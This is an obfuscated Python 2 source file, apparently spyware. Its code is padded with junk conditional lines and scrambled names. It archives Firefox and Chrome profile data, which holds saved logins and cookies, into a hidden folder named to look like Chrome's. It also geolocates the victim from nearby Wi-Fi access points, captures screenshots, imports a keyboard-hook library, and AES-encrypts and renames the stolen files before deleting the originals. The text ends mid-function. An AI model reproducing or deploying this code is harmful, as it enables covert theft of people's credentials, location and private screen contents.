if 83-83:Il11II*l1ll1lIll.l1ll1lIll%zzz
if 54-54:z22z22zz-Il1lII*l1l
if 38-38:z2zzzz2Z2zZ2/z22z22zz
if 35-35:ZzZzzz
if 99-99:Il+I1Il1l1IIl1I+I1Il1l1IIl1I+I111Il1I11l/zzz*Il
if 36-36:l1l
if 20-20:Il1lII*Il11II-z2zzzz2Z2zZ2
if 79-79:ll11I1l11ll
if 37-37:z2zz2Zzz.Il%z22z22zz%l1l.ll1ll11ll1II
if 77-77:ll11I1l11ll/z2zz2Zzz/ll1ll11ll1II-I1Il1l1IIl1I*z22z22zz
if 62-62:Il1lII
if 36-36:Il1lII/Il1lII*Il11II/Il1ll1llll-ll1ll11ll1II
if 100-100:l111lIIllI111
if 37-37:l1l%l1ll1lIll
if 95-95:z22z22zz/ll1ll11ll1II
if 52-52:zZ2.Il1ll1llll
if 80-80:Z2zZZ22%Il1ll1llll
if 99-99:zZ2/Il11II-ZzZzzz-ZzZzzz*Z2zZZ22.Il1ll1llll
if 51-51:zZ2/II1IIl1ll
if 32-32:z2zzzz2Z2zZ2
if 12-12:l1ll1lIll/Il1ll1llll
if 99-99:ZzZzzz+l1ll1lIll*ll1ll11ll1II.ZzZzzz+z2zz2Zzz.Il
if 3-3:zZ2/Il%ll11I1l11ll/ZzZzzz*ll1ll11ll1II
if 99-99:z22z22zz+zzz2*l111lIIllI111*ll11I1l11ll
if 43-43:z22z22zz-l111lIIllI111/ZzZzzz%II1IIl1ll+Il11II
if 100-100:Il1lII+zzz
if 2-2:z2zzzz2Z2zZ2/zZ2+II1IIl1ll/ZzZzzz.ll11I1l11ll/II1IIl1ll
if 84-84:z22z22zz+zzz-Il1lII.z22z22zz
if 66-66:Il11II.l111lIIllI111%l1ll1lIll%l1ll1lIll
if 32-32:l1l
if 42-42:II1IIl1ll*I111Il1I11l+Il1lII%zzz
if 53-53:Il1lII+II1IIl1ll-Z2zZZ22*z2zz2Zzz+z2zz2Zzz
if 72-72:z2zzzz2Z2zZ2%I1Il1l1IIl1I+I1Il1l1IIl1I*ll1ll11ll1II.II1IIl1ll
if 96-96:ll1ll11ll1II/l1l*Il-ZzZzzz+Il1lII
if 73-73:l1l/l111lIIllI111-Z2zZZ22+zZ2
if 79-79:ZzZzzz%zzz.zzz
if 85-85:l1ll1lIll/zZ2.ZzZzzz/l111lIIllI111*Z2zZZ22
if 77-77:ll1ll11ll1II+zzz2*Il11II
if 75-75:Il1lII.I1Il1l1IIl1I%ZzZzzz+ll11I1l11ll.Z2zZZ22-z2zzzz2Z2zZ2
if 63-63:Il1ll1llll*l111lIIllI111-II1IIl1ll.II1IIl1ll.ll11I1l11ll
if 97-97:z22z22zz.zzz*I111Il1I11l%z22z22zz.zzz2
if 50-50:ZzZzzz
if 21-21:l1l
if 33-33:I111Il1I11l
if 28-28:zzz
if 21-21:ZzZzzz+I111Il1I11l%Il11II+zZ2*l1ll1lIll
if 24-24:Il11II%z2zz2Zzz%l111lIIllI111%z2zzzz2Z2zZ2
if 2-2:zzz%ll11I1l11ll%I1Il1l1IIl1I/zzz2+Il
if 78-78:zzz-Z2zZZ22
if 97-97:Il*z22z22zz
if 19-19:Il1lII-I1Il1l1IIl1I*Il1lII+Il1ll1llll-z2zzzz2Z2zZ2%Il
if 29-29:ZzZzzz
if 9-9:ll11I1l11ll/z22z22zz*l1l*Il1lII.II1IIl1ll
if 82-82:II1IIl1ll/ZzZzzz+ll1ll11ll1II
if 34-34:ll1ll11ll1II-II1IIl1ll+l111lIIllI111*l1l
if 66-66:Il
if 95-95:z2zz2Zzz/zZ2
if 95-95:Il1lII+l1ll1lIll-z2zzzz2Z2zZ2*ZzZzzz*I1Il1l1IIl1I*zZ2
if 12-12:Il+ll1ll11ll1II-zzz2%Z2zZZ22/Il1ll1llll+I111Il1I11l
if 97-97:Il1lII/zzz
if 39-39:l1l%Il-I111Il1I11l/l1ll1lIll
if 59-59:II1IIl1ll/z2zz2Zzz.zZ2%II1IIl1ll
if 52-52:z2zzzz2Z2zZ2.ll1ll11ll1II%l111lIIllI111*Z2zZZ22
if 26-26:zzz2%II1IIl1ll/I1Il1l1IIl1I*Il11II
if 24-24:II1IIl1ll-z22z22zz.I111Il1I11l
if 33-33:zzz+zZ2+ll1ll11ll1II.Il1lII
if 16-16:Z2zZZ22%zzz2
if 2-2:Z2zZZ22/z22z22zz*Z2zZZ22
if 14-14:l1ll1lIll*z2zz2Zzz/II1IIl1ll
if 21-21:Il11II%zzz.Il11II.z2zz2Zzz+II1IIl1ll*Il1ll1llll
if 69-69:II1IIl1ll
if 5-5:z22z22zz+z2zz2Zzz-Z2zZZ22-Z2zZZ22
if 30-30:zzz2%zZ2
if 13-13:zZ2+I111Il1I11l%z22z22zz-zzz*II1IIl1ll/Il
if 13-13:ZzZzzz/zzz2*Il1lII.Il1lII.I111Il1I11l.z2zz2Zzz
if 100-100:z2zz2Zzz/Z2zZZ22.zzz%zZ2
if 18-18:l111lIIllI111/z2zzzz2Z2zZ2.ZzZzzz
if 98-98:Il1ll1llll+Z2zZZ22*ll1ll11ll1II.Il1ll1llll
if 18-18:Il11II-II1IIl1ll/z22z22zz.Il1ll1llll/Il
if 94-94:Z2zZZ22*Z2zZZ22+Z2zZZ22.ll11I1l11ll+Il1lII%z22z22zz
if 34-34:z22z22zz*z22z22zz/Il1lII/Il/ZzZzzz
if 85-85:ZzZzzz-z2zz2Zzz+Il+ll11I1l11ll.ll1ll11ll1II
if 58-58:z22z22zz
if 95-95:ll1ll11ll1II+l1l-I111Il1I11l*zzz2%II1IIl1ll
if 31-31:ll1ll11ll1II
if 67-67:Il1lII
if 49-49:Il1lII/Z2zZZ22+II1IIl1ll
if 13-13:zzz-ZzZzzz+zzz2
if 29-29:l111lIIllI111-ll11I1l11ll-l1l
if 100-100:zzz2
if 59-59:l111lIIllI111
if 51-51:II1IIl1ll*l1l.zZ2-z2zzzz2Z2zZ2+ll1ll11ll1II%ll1ll11ll1II
if 53-53:I1Il1l1IIl1I+ll1ll11ll1II.l1ll1lIll
if 65-65:Il1lII*l1ll1lIll.Il11II/zZ2*Il11II%ll11I1l11ll
if 43-43:z2zzzz2Z2zZ2%zZ2-Il1ll1llll-ll11I1l11ll.ZzZzzz%I111Il1I11l
if 20-20:ll11I1l11ll
if 12-12:l1l*I1Il1l1IIl1I%I1Il1l1IIl1I/l1l%ZzZzzz
if 62-62:zzz/z22z22zz.Il1lII-Il11II-l1l.I1Il1l1IIl1I
if 75-75:I1Il1l1IIl1I*ZzZzzz-Il-Il11II*Il*Il
if 21-21:ZzZzzz/Il1lII/zZ2-Il
if 27-27:z2zz2Zzz-ll1ll11ll1II-zzz-ll11I1l11ll%I1Il1l1IIl1I*ll11I1l11ll
if 73-73:zZ2*ZzZzzz-zzz2
if 88-88:z22z22zz/Il/Il1lII/ll11I1l11ll
if 59-59:zZ2/zzz-ZzZzzz*l1ll1lIll%zzz2
if 41-41:z22z22zz-Il1lII/zzz.zzz2.ZzZzzz-zzz2
if 48-48:Il%l1ll1lIll
if 33-33:ll1ll11ll1II+I1Il1l1IIl1I+ZzZzzz
if 94-94:zzz2*z22z22zz-zZ2
if 32-32:l1l+zzz2*z2zzzz2Z2zZ2.l111lIIllI111+Il11II-zzz2
if 25-25:I1Il1l1IIl1I.zzz
if 57-57:l111lIIllI111/l1l*Il1ll1llll
if 13-13:l1l
if 86-86:zzz/z22z22zz
if 92-92:I111Il1I11l+z22z22zz*I1Il1l1IIl1I/zzz2
if 41-41:II1IIl1ll/z2zz2Zzz/zzz2
try:
import subprocess
from encodings import hex_codec
import re,urllib2,os
import json as simplejson
import json
except Exception,llIll1Il:
print llIll1Il
if 7-7:ll1ll11ll1II-zZ2/z22z22zz*z2zz2Zzz
try:
import pyHook,pythoncom,time,sys
if 19-19:Il+l1l/ZzZzzz.Il1ll1llll
if 10-10:ll11I1l11ll%zZ2+ll11I1l11ll
import os,thread,threading,shutil,string,random,struct
if 6-6:z2zzzz2Z2zZ2-zZ2%II1IIl1ll%Il1ll1llll
import base64
if 99-99:l1l%ZzZzzz.Il1lII/II1IIl1ll.Z2zZZ22
from Crypto import Random
if 55-55:ll11I1l11ll.II1IIl1ll*l1l.Il1lII
if 45-45:z2zz2Zzz*l1l+I111Il1I11l/I111Il1I11l
from Crypto.Cipher import AES
if 88-88:Il
from ctypes import*
if 79-79:zzz2%II1IIl1ll/Z2zZZ22/zzz*zzz2
except Exception,llIll1Il:
print llIll1Il
if 97-97:l1l.l1l%z22z22zz.I1Il1l1IIl1I%Il1ll1llll
if 66-66:ll1ll11ll1II.l1l*z2zz2Zzz
try:
import win32clipboard
if 25-25:I111Il1I11l-II1IIl1ll*ll1ll11ll1II
if 25-25:ZzZzzz/zZ2-Il1lII
if 84-84:ll11I1l11ll.ZzZzzz-zZ2
except Exception,llIll1Il:
print llIll1Il
if 96-96:Il11II
if 66-66:z2zzzz2Z2zZ2%z2zzzz2Z2zZ2%zZ2+Il1ll1llll+Il*l1ll1lIll
if 20-20:ll1ll11ll1II/z2zzzz2Z2zZ2-Il.ll1ll11ll1II
if 36-36:ll11I1l11ll.Il11II+I111Il1I11l*ll1ll11ll1II
try:
import win32file
if 34-34:I1Il1l1IIl1I/ZzZzzz*Il11II.Il11II
if 44-44:II1IIl1ll.l1ll1lIll.ll1ll11ll1II%I111Il1I11l/l111lIIllI111/Il
if 39-39:l111lIIllI111+I111Il1I11l%l111lIIllI111%II1IIl1ll-Il
except Exception,llIll1Il:
if 97-97:Il1ll1llll/ZzZzzz/ll11I1l11ll%l1l
print llIll1Il
if 77-77:ZzZzzz-Il*Il-ZzZzzz
if 87-87:Z2zZZ22+zzz/z22z22zz
try:
import win32com.client
except Exception,llIll1Il:
pass
if 15-15:ll11I1l11ll*Il11II*I1Il1l1IIl1I%Z2zZZ22*zzz*Il1ll1llll
try:
import win32ui
except Exception,llIll1Il:
print llIll1Il
if 32-32:l1l
if 55-55:ll1ll11ll1II+Il1lII.ZzZzzz+zZ2*I111Il1I11l
if 40-40:z2zz2Zzz*z2zzzz2Z2zZ2-zzz2
try:
import win32con
except Exception,llIll1Il:
print llIll1Il
if 25-25:I111Il1I11l*Il-Z2zZZ22-Il1ll1llll
try:
from PIL import ImageGrab
if 84-84:zzz2/zzz*z22z22zz/z2zzzz2Z2zZ2
if 22-22:Il%l1ll1lIll
if 60-60:I1Il1l1IIl1I.z22z22zz
except Exception,llIll1Il:
pass
if 81-81:Il1ll1llll-Il%II1IIl1ll+Z2zZZ22
if 10-10:zzz2.Il11II
try:
import win32api
except Exception,llIll1Il:
print llIll1Il
if 11-11:zzz2%I1Il1l1IIl1I%Il
if 89-89:l1l
if 3-3:ZzZzzz+l1l
if 13-13:Z2zZZ22*l111lIIllI111
try:
import win32gui
except Exception,llIll1Il:
print llIll1Il
if 65-65:zzz2-ll1ll11ll1II+Z2zZZ22
if 15-15:ZzZzzz
try:
I1lIl11=os.getenv('APPDATA')
except Exception,llIll1Il:
print llIll1Il
if 54-54:Il+ll1ll11ll1II-Z2zZZ22
if 86-86:z2zz2Zzz%z2zz2Zzz
if 11-11:I1Il1l1IIl1I-zzz*zzz-Il1ll1llll
if 9-9:Il1ll1llll-z2zz2Zzz
if 32-32:zZ2-Il%Il11II*z22z22zz-zZ2/zzz
try:
ll1llllIIl=(I1lIl11+"\\Chrome\\")
z22=(ll1llllIIl+"Google\\")
if 35-35:ZzZzzz
Z2Zz22=(z22+"Winde\\")
if 38-38:II1IIl1ll.II1IIl1ll+zzz2/zzz*z2zz2Zzz*ll1ll11ll1II
l1=(z22+"Loc\\")
if 52-52:zZ2-l111lIIllI111*Il1lII
if 50-50:Il11II+l1ll1lIll
lI=(I1lIl11+"\\Gchrome\\")
if 48-48:z2zzzz2Z2zZ2
except Exception,llIll1Il:
if 33-33:zZ2/ll11I1l11ll*l1l-l1ll1lIll%ZzZzzz
print llIll1Il
if 13-13:II1IIl1ll+I111Il1I11l/l1l+zzz
if 41-41:II1IIl1ll*zzz2-Z2zZZ22.z22z22zz-l111lIIllI111
try:
if 87-87:ll11I1l11ll.z2zzzz2Z2zZ2*z2zz2Zzz
shutil.get_archive_formats()
if 64-64:zZ2/I1Il1l1IIl1I+z2zzzz2Z2zZ2/z22z22zz+Il1ll1llll
shutil.make_archive((os.path.expanduser('~')+"\AppData\Roaming\\Chrome\\Google\\Winde\\FIREPERF"),"zip",(os.path.expanduser('~')+"\AppData\Roaming\Mozilla\Firefox\Profiles"))
if 85-85:Z2zZZ22%II1IIl1ll*l111lIIllI111+Z2zZZ22-zzz
if 91-91:Il1ll1llll/Z2zZZ22+I1Il1l1IIl1I-ll1ll11ll1II-Il1ll1llll
if 71-71:I111Il1I11l%ll1ll11ll1II*Il1ll1llll%zzz
except Exception,llIll1Il:
pass
if 30-30:zZ2
if 32-32:II1IIl1ll/ll1ll11ll1II+ll11I1l11ll+Il11II*Il11II
try:
shutil.get_archive_formats()
if 46-46:Z2zZZ22+z2zz2Zzz.z22z22zz
shutil.make_archive((os.path.expanduser('~')+"\AppData\Roaming\\Chrome\\Google\\Winde\\CRHOMEPER"),"zip",(os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"))
if 62-62:ZzZzzz%z22z22zz+Il-l1l.z2zz2Zzz
except Exception,llIll1Il:
pass
if 12-12:l1ll1lIll-Il
def I1IIll1(fer1):
try:
(ZZzz2,Zz22222zZ)=fer1.split(": ")
l1ll1lII1ll=Zz22222zZ.replace("%",",")
l11ll=l1ll1lII1ll.replace(" ","")
I1l1I1I11lI=l11ll.replace("\n","")
I111l=open(z22+"maw",'a')
I111l.write(I1l1I1I11lI)
I111l.close()
except Exception,llIll1Il:
print llIll1Il
if 16-16:I1Il1l1IIl1I
def Z2zZzz(fer1):
try:
(ZZzz2,Zz22222zZ)=fer1.split(": ")
l1ll1lII1ll=Zz22222zZ.replace("%",",")
l11ll=l1ll1lII1ll.replace(" ","")
I1l1I1I11lI=l11ll.replace("\n","")
I111l=open(z22+"maw",'a')
I111l.write(I1l1I1I11lI+",")
I111l.close()
except Exception,llIll1Il:
print llIll1Il
if 28-28:II1IIl1ll-II1IIl1ll-zzz2/l1ll1lIll
def z2(fer2):
try:
(z22ZzZZzzzz2Z,zz)=fer2.split(": ")
I1l1I1I11lI=zz.replace(" ","")
IIIl1Il11II=I1l1I1I11lI.replace("\n",",")
I111l=open(z22+"maw",'a')
I111l.write(IIIl1Il11II)
I111l.close()
except Exception,llIll1Il:
print llIll1Il
if 50-50:zzz+ZzZzzz
def zzz2zzz2Z2zz():
if 23-23:ll11I1l11ll.z22z22zz
try:
IlllIl111=open(z22+'wifi','w+')
subprocess.call(['netsh','wlan','show','networks','mode=bssid'],stdout=IlllIl111,shell=True)
subprocess.call(['netsh','wlan','show','interfaces'],stdout=IlllIl111,shell=True)
IlllIl111.close()
except Exception,llIll1Il:
pass
try:
if os.path.exists(z22+"maw"):
os.remove(z22+"maw")
except Exception,llIll1Il:
pass
try:
Il11lIllll1=open(z22+"wifi")
for zZ2Z in Il11lIllll1:
try:
(IlzzZzZZ2Zz,ZZ22)=zZ2Z.split("BSSID")
(I1ll1Il,lI1l)=ZZ22.split(": ")
ZZZzZ2zz=lI1l.replace("\n",",")
I111l=open(z22+"maw",'a')
I111l.write(ZZZzZ2zz)
I111l.close()
except Exception,llIll1Il:
pass
I111l=open(z22+"maw",'a')
I111l.write("\n")
I111l.close()
Il11lIllll1=open(z22+"wifi")
for zZ2Z in Il11lIllll1:
try:
(l1lI111IIII,l1l1II)=zZ2Z.split('Signal')
try:
I1IIll1(l1l1II)
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
pass
try:
(l1lI111IIII,l1l1II)=zZ2Z.split("al")
(ZZzz2,Zz22222zZ)=l1l1II.split("%")
try:
Z2zZzz(ZZzz2)
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
pass
I111l=open(z22+"maw",'a')
I111l.write("\n")
I111l.close()
Il11lIllll1=open(z22+"wifi")
for zZ2Z in Il11lIllll1:
try:
(zZzz2Zz2z2ZzZ,Z22zZZZ)=zZ2Z.split("Canal")
try:
z2(Z22zZZZ)
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
try:
(zZzz2Zz2z2ZzZ,Z22zZZZ)=zZ2Z.split("Channel")
try:
z2(Z22zZZZ)
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
pass
try:
Zzzz="https://location.services.mozilla.com/v1/geolocate?key=test"
if 62-62:ll11I1l11ll-z2zz2Zzz/z22z22zz/zzz2-z2zzzz2Z2zZ2
with open(z22+"maw","r")as z22ZZ22:
Zz2Z2=z22ZZ22.readlines()
Ill1l=Zz2Z2[0].split(",")
l1l1II=Zz2Z2[1].split(",")
Z22zZZZ=Zz2Z2[2].split(",")
if 55-55:zzz-Z2zZZ22/l1ll1lIll-II1IIl1ll
if 95-95:ll1ll11ll1II
I1l1l11IlII=Ill1l[:-1]
lI1lIlII1I=list(l1l1II[:-1])
Zz22zZ2Z22z2Z=Z22zZZZ[:-1]
if 45-45:Il-l1l-ll11I1l11ll%zZ2
if 85-85:I111Il1I11l*ll11I1l11ll/z2zzzz2Z2zZ2*z2zz2Zzz
if 23-23:zzz2+II1IIl1ll*I1Il1l1IIl1I-ll1ll11ll1II+l111lIIllI111/I1Il1l1IIl1I
print "[+] Creating HTML request"
if 65-65:Il1lII-z2zz2Zzz
Zz2ZZ2z2Z2={"wifiAccessPoints":[]}
if 70-70:l1ll1lIll
for lIll in range(len(I1l1l11IlII)):
I111l=I1l1l11IlII[lIll]
zzZ2Z2Z2=lI1lIlII1I[lIll]
if 34-34:z2zz2Zzz+Il
I1l={"macAddress":I1l1l11IlII[lIll],"signalStrength":(int(lI1lIlII1I[lIll]))}
Zz2ZZ2z2Z2["wifiAccessPoints"].append(I1l)
if 81-81:z2zz2Zzz+zzz2+Z2zZZ22/II1IIl1ll
print "POSTING to %s"%Zzzz
ll1IlII=json.dumps(Zz2ZZ2z2Z2,sort_keys=True,indent=4,separators=(',',': '))
if 40-40:Il1ll1llll+l1l
print "[+] Sending the request to Google"
ZzzZzZzz=urllib2.urlopen(Zzzz,ll1IlII).read()
z2Z2Zz2ZZZ2=simplejson.loads(ZzzZzZzz)
print ll1IlII
if 46-46:z2zz2Zzz/l111lIIllI111+Il1ll1llll.II1IIl1ll*I1Il1l1IIl1I%ll1ll11ll1II
if 77-77:z2zz2Zzz-l1l+Il1lII
if 16-16:zzz2*zzz2+zzz2%z22z22zz*Z2zZZ22
if 6-6:z22z22zz*II1IIl1ll*Z2zZZ22
if 8-8:I111Il1I11l/l1l
if 85-85:l111lIIllI111.zzz2+Il1lII%l1l
if 78-78:Il1lII/Il11II+l1l-Il1ll1llll%I1Il1l1IIl1I-ZzZzzz
z2Zz22="http://maps.google.com/maps?q="+str(z2Z2Zz2ZZZ2["location"]["lat"])+","+str(z2Z2Zz2ZZZ2["location"]["lng"])
II1I11l=Zzzz+str(z2Z2Zz2ZZZ2["location"]["lat"])+","+str(z2Z2Zz2ZZZ2["location"]["lng"])
except Exception,llIll1Il:
print llIll1Il
try:
from time import strftime
try:
I1lIl11=os.getenv('APPDATA')
except Exception,llIll1Il:
print llIll1Il
Zzz2z2zzzz2zz=I1lIl11+"\\Chrome\\Google\\Winde\\GEO-"+str(strftime("%d-%m-%Y-%H-%M-%S"))+".txt"
if 14-14:l1ll1lIll-ZzZzzz-II1IIl1ll.l111lIIllI111%z22z22zz
except Exception,llIll1Il:
print llIll1Il
try:
if 59-59:zzz2-Il1ll1llll
z22ZZ22=open(z22+'wifi','r')
zzZzZzzz=z22ZZ22.read()
z22ZZ22.close()
if 32-32:zzz2*zZ2+Il11II+I111Il1I11l-ll1ll11ll1II
I111l=open(Zzz2z2zzzz2zz,'w')
I111l.write(z2Zz22)
I111l.write('\n'+zzZzZzzz)
if 73-73:l111lIIllI111/l111lIIllI111
I111l.close()
except Exception,llIll1Il:
print llIll1Il
if 17-17:z2zz2Zzz*Il
if 2-2:zzz*I111Il1I11l*I1Il1l1IIl1I%I111Il1I11l
if 70-70:l111lIIllI111+I111Il1I11l
try:
if 47-47:I1Il1l1IIl1I.l111lIIllI111.I1Il1l1IIl1I+zzz2+ll1ll11ll1II
if 97-97:z2zz2Zzz
from time import strftime
if 10-10:I111Il1I11l%Z2zZZ22+ZzZzzz
if 44-44:z22z22zz%II1IIl1ll+l111lIIllI111.z2zzzz2Z2zZ2.I111Il1I11l
if 84-84:Il11II.z2zzzz2Z2zZ2-Il-Il+z22z22zz
Z2="Cder-"+str(strftime("%d-%m-%Y-%H-%M-%S"))
if 54-54:z2zzzz2Z2zZ2%l1l.l1l
if 28-28:I1Il1l1IIl1I.zZ2*Z2zZZ22
if 48-48:l111lIIllI111.l111lIIllI111%ll11I1l11ll/zZ2
if 92-92:I111Il1I11l.zZ2-Il11II
if 25-25:l1ll1lIll
ImageGrab.grab().save(ll1llllIIl+"/"+Z2,"JPEG")
except Exception,llIll1Il:
print llIll1Il
if 60-60:ZzZzzz.l111lIIllI111
if 91-91:Il1ll1llll%zZ2%l1l*II1IIl1ll-zzz
if 69-69:II1IIl1ll
if 40-40:z2zzzz2Z2zZ2%ll11I1l11ll/l1l
try:
lI1=str(ll1llllIIl)
if 52-52:Z2zZZ22-ll1ll11ll1II*l1l-ll1ll11ll1II+ll11I1l11ll+zzz2
if 91-91:ZzZzzz
except Exception,llIll1Il:
pass
if 26-26:l1l+I111Il1I11l
if 57-57:zzz.Il1lII-Il11II+l1ll1lIll*Il
else:
try:
for ZzzZZ in os.listdir(lI1):
try:
(zzZzZZZZ22,llIIlIII1I1Il)=os.path.splitext(ZzzZZ)
except Exception,llIll1Il:
print llIll1Il
if 36-36:l111lIIllI111/l1ll1lIll*Z2zZZ22
if 2-2:l1l/z2zzzz2Z2zZ2
if 51-51:Z2zZZ22*z22z22zz.zZ2-z2zz2Zzz
else:
if llIIlIII1I1Il==".scr" or ZzzZZ=="Google":
pass
else:
try:
ZZz2zzz22=string.ascii_lowercase
if 28-28:zzz2
if 57-57:l1l-Il1ll1llll/Il1ll1llll/zzz2-ll11I1l11ll*zZ2
if 51-51:Il+z2zz2Zzz
Z22Z222zzzZ=13
lIl1llIlI1I=ZZz2zzz22[Z22Z222zzzZ:]+ZZz2zzz22[0:Z22Z222zzzZ]
if 21-21:ll11I1l11ll-l1ll1lIll/zzz2
if 5-5:Il11II
if 51-51:II1IIl1ll
ZZ2=string.maketrans(ZZz2zzz22,lIl1llIlI1I)
IIl1=str(ZzzZZ)
if 52-52:l1l*ll11I1l11ll-Il1lII
if 7-7:z2zz2Zzz*zZ2-z22z22zz
if 93-93:Il/Z2zZZ22/zzz2-ll11I1l11ll/l111lIIllI111
if ZzzZZ=="Hser":
if 35-35:Z2zZZ22*ll1ll11ll1II
if 34-34:II1IIl1ll+zzz.zZ2*Il/zzz
from time import strftime
if 40-40:z22z22zz.II1IIl1ll
if 9-9:zZ2.ll1ll11ll1II/I111Il1I11l*I111Il1I11l%Z2zZZ22%l1l
if 38-38:l1l*II1IIl1ll.zzz2+zZ2
IIl1=(str(strftime("%d-%m-%Y-%H-%M-%S-"))+ZzzZZ+".htm")
if ZzzZZ[:4]=="Cder":
if 63-63:zzz2+zZ2*Il11II+Il11II
if 100-100:l1ll1lIll.l1l*z2zzzz2Z2zZ2.Il11II/l1l
if 47-47:z2zzzz2Z2zZ2/Il11II*Il1ll1llll
if 83-83:II1IIl1ll.ll1ll11ll1II%Il11II*l1ll1lIll
IIl1=(ZzzZZ+".jpeg")
if 90-90:l1ll1lIll/Il%I111Il1I11l
if 87-87:Il11II
if 41-41:zZ2
z2ZZZZ2Zzz2=IIl1.translate(ZZ2)
if 36-36:Il/l1ll1lIll.Il.Il1lII
if 35-35:II1IIl1ll
if 26-26:zzz2*z2zzzz2Z2zZ2.Il-l1l-zzz+II1IIl1ll
if 53-53:l1l
I1I1ll1l="@3Hse5OrD@*%=Ad8"
if 77-77:l1l*l111lIIllI111/z22z22zz%z22z22zz.Il
Zzz2=(ll1llllIIl+"\\"+ZzzZZ)
if 33-33:Il
if 57-57:Il11II-II1IIl1ll.Z2zZZ22
if 24-24:I111Il1I11l.Z2zZZ22
if 100-100:ZzZzzz+ll11I1l11ll-zzz
IIIll1lll1Il=(Z2Zz22+z2ZZZZ2Zzz2)
except Exception,llIll1Il:
print llIll1Il
if 44-44:ll11I1l11ll+l111lIIllI111
try:
def I1(key,in_filename,out_filename=None,chunksize=64*1024):
if 21-21:z22z22zz/I1Il1l1IIl1I*I111Il1I11l
if 85-85:zzz+Il1ll1llll/Il1ll1llll
if 79-79:Il11II+Il1ll1llll
I1I1=''.join(chr(random.randint(0,0xFF))for i in range(16))
if 46-46:Il%I111Il1I11l%Il11II/zZ2*l111lIIllI111%Z2zZZ22
if 67-67:Z2zZZ22
lIlIl=AES.new(key,AES.MODE_CBC,I1I1)
if 57-57:I1Il1l1IIl1I-l111lIIllI111
if 23-23:l1l-Il1ll1llll+zzz
if 25-25:Il1lII.Il1lII+Il11II.ll11I1l11ll
l1IIlI11l=os.path.getsize(in_filename)
if 66-66:ll11I1l11ll-z2zzzz2Z2zZ2
with open(in_filename,'rb')as lI1II1lIIl11l:
if 8-8:ll11I1l11ll%ll11I1l11ll+zzz%ll11I1l11ll
if 45-45:Z2zZZ22.ll11I1l11ll*ll1ll11ll1II/z2zzzz2Z2zZ2
if 3-3:Il11II
with open(out_filename,'wb')as IIl1l:
if 96-96:II1IIl1ll-zzz2-Il1lII.Il-II1IIl1ll-II1IIl1ll
if 97-97:Il1ll1llll/ll11I1l11ll*I1Il1l1IIl1I-Il1lII+l1ll1lIll*zzz2
IIl1l.write(struct.pack('<Q',l1IIlI11l))
IIl1l.write(I1I1)
if 65-65:zzz-l1l
while True:
Il1l=lI1II1lIIl11l.read(chunksize)
if 88-88:zzz2/Il
if 3-3:ll1ll11ll1II
if len(Il1l)==0:
if 57-57:z2zzzz2Z2zZ2*zZ2
if 80-80:zzz%zZ2+ZzZzzz+I111Il1I11l*I111Il1I11l
break
elif len(Il1l)%16!=0:
if 41-41:ll11I1l11ll
if 98-98:II1IIl1ll
Il1l+=' '*(16-len(Il1l)%16)
if 90-90:ll1ll11ll1II%ll1ll11ll1II+l111lIIllI111-l1l+Il
IIl1l.write(lIlIl.encrypt(Il1l))
if 67-67:z2zzzz2Z2zZ2/zzz2%Il11II%ll1ll11ll1II*ll1ll11ll1II%ll11I1l11ll
if 41-41:Il1ll1llll*zzz2+z2zz2Zzz
I1(I1I1ll1l,Zzz2,IIIll1lll1Il)
if 21-21:ll11I1l11ll/zZ2.Il.l1ll1lIll%l1ll1lIll
try:
os.remove(ll1llllIIl+"\\"+ZzzZZ)
if 78-78:l111lIIllI111.ZzZzzz-Il1lII*Il+Il1ll1llll
if 59-59:Il1ll1llll*Il11II
if 61-61:I111Il1I11l
if 32-32:zzz2%zZ2-II1IIl1ll+z22z22zz+zZ2
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
if 53-53:I111Il1I11l+l111lIIllI111+z2zz2Zzz
if 50-50:ZzZzzz*Il11II/zzz2/ll11I1l11ll.Il1lII*Il
if 51-51:l1ll1lIll
if 42-42:l1ll1lIll.II1IIl1ll
if 18-18:Il11II+z2zz2Zzz-Il1lII%z2zz2Zzz*zZ2+I1Il1l1IIl1I
if 80-80:zzz/ll11I1l11ll
if 59-59:I111Il1I11l+I1Il1l1IIl1I
def I111Illlll():
try:
zzzZ=os.listdir(l1)
zzzZ.reverse()
from datetime import date
if 10-10:Il1lII+Il11II%ll11I1l11ll
if 82-82:zZ2+Il11II+Il1ll1llll/Il1lII-ll1ll11ll1II
if 63-63:zZ2.Il/Il+Il
if 88-88:l111lIIllI111-zzz*I1Il1l1IIl1I/l1l.Il-Il
Il11I=date.today()
except Exception,llIll1Il:
print llIll1Il
else:
try:
I111l=2
for zzz2ZZZ2Z in range(len(zzzZ)):
if 32-32:ZzZzzz
if 11-11:Il*Il1lII+zZ2.z22z22zz+I111Il1I11l
if 17-17:z2zzzz2Z2zZ2/ll1ll11ll1II.ZzZzzz
if 44-44:I1Il1l1IIl1I/ll11I1l11ll.Il11II
if str(Il11I.year)==str(zzzZ[zzz2ZZZ2Z]):
if 67-67:Z2zZZ22*zZ2.l111lIIllI111/z2zzzz2Z2zZ2
return zzz2ZZZ2Z
if 71-71:z2zzzz2Z2zZ2-l111lIIllI111.II1IIl1ll
if 46-46:Il1ll1llll/z2zzzz2Z2zZ2
if 18-18:Il*Il1lII
if I111l==2:
ZzZ22zzz2()
if 83-83:l111lIIllI111*Il1lII
if 12-12:zzz2%Il11II*Z2zZZ22/Il%zzz2+II1IIl1ll
if 60-60:zzz.l1l.Il1ll1llll/Z2zZZ22/l1ll1lIll/zZ2
except Exception,llIll1Il:
print llIll1Il
if 62-62:l111lIIllI111
if 97-97:Il%l1l-I111Il1I11l*Il11II*zZ2
def ZzZ22zzz2():
try:
try:
if 40-40:ll1ll11ll1II
if 4-4:z2zz2Zzz.z2zzzz2Z2zZ2/II1IIl1ll*I111Il1I11l
ZZ2Il1ll=os.listdir(l1)
if 44-44:l1ll1lIll+zzz+z2zz2Zzz+I1Il1l1IIl1I+Z2zZZ22.Il11II
if 86-86:Il1lII
for zzz2ZZZ2Z in range(len(ZZ2Il1ll)):
if 36-36:ll1ll11ll1II
if 94-94:z2zzzz2Z2zZ2%Il.z2zzzz2Z2zZ2
if 35-35:z22z22zz*z2zzzz2Z2zZ2/l111lIIllI111+ll11I1l11ll
try:
os.remove(l1+str(ZZ2Il1ll[zzz2ZZZ2Z]))
